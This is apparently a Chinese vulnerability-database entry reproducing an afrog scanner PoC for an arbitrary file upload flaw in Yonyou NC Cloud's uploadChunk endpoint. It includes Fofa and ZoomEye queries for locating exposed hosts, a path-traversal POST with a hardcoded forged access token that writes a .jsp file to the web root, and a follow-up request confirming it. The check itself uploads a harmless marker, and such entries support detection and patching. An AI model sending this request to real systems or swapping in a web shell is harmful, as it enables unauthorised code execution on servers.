yonyou-nccloud-uploadchunk-fileupload: ​用友NC Cloud uploadChunk 任意文件上传漏洞

日期: 2025-09-01 | 影响软件: 用友NC Cloud | POC: 已公开

漏洞描述

Fofa: app="用友-NC-Cloud" ZoomEye: app:"Yonyou NC Cloud"

PoC代码[已公开]

id: yonyou-nccloud-uploadchunk-fileupload

info:
  name: ​用友NC Cloud uploadChunk 任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |-
    Fofa: app="用友-NC-Cloud"
    ZoomEye: app:"Yonyou NC Cloud"
  reference:
    - https://mp.weixin.qq.com/s/fhyZhmqjJST7KEi1oiGm0g
  tags: yonyou,nccloud,fileupload
  created: 2023/12/07

set:
  randstr: randomLowercase(6)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
        accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /nccloud/{{randstr}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/yonyou-nccloud-uploadchunk-fileupload.yaml

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